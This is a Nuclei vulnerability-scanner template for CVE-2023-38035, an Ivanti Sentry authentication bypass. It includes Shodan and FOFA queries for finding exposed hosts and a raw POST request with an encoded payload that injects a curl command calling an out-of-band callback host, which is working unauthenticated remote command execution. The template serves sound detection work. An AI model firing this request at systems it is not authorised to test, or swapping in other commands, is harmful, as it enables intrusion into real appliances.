id: CVE-2023-38035 info: name: Ivanti Sentry - Authentication Bypass author: DhiyaneshDk,iamnoooob,rootxharsh severity: critical description: | A security vulnerability in MICS Admin Portal in Ivanti MobileIron Sentry versions 9.18.0 and below, which may allow an attacker to bypass authentication controls on the administrative interface due to an insufficiently restrictive Apache HTTPD configuration. impact: | Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the system. remediation: | Apply the latest security patches or updates provided by Ivanti to fix the authentication bypass vulnerability. reference: - https://forums.ivanti.com/s/article/CVE-2023-38035-API-Authentication-Bypass-on-Sentry-Administrator-Interface - https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/ - https://github.com/horizon3ai/CVE-2023-38035 - https://nvd.nist.gov/vuln/detail/CVE-2023-38035 - http://packetstormsecurity.com/files/174643/Ivanti-Sentry-Authentication-Bypass-Remote-Code-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-38035 cwe-id: CWE-863 epss-score: 0.97506 epss-percentile: 0.99983 cpe: cpe:2.3:a:ivanti:mobileiron_sentry:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: ivanti product: mobileiron_sentry shodan-query: - 'html:"Note: Requires a local Sentry administrative user"' - 'http.html:"note: requires a local sentry administrative user"' fofa-query: 'body="note: requires a local sentry administrative user"' tags: cve2023,cve,packetstorm,ivanti,mobileiron,sentry,kev,rce,auth-bypass,oast variables: oast: "{{interactsh-url}}/?" padstr: "{{randstr}}" http: - raw: - | POST /mics/services/MICSLogService HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {{base64_decode('YwEAbQAYdXBsb2FkRmlsZVVzaW5nRmlsZUlucHV0TVMAB2NvbW1hbmRTAEw=')}}curl {{padding(oast,padstr,71)}}{{base64_decode('UwAGaXNSb290VHpOeg==')}} matchers: - type: dsl dsl: - contains(body, 'isRunningTzz') - contains(interactsh_protocol, 'dns') - status_code == 200 condition: and # digest: 4a0a00473045022100e0d7db72cf2d3250b9cec6f4809158d7a36e2c52763f0d5bb3d4063ed878f6820220298d902c4967c3ff8d30ccca8aded010c4b182fd6d9af361525c23d6730e4bb3:922c64590222798bb761d5b6d8e72950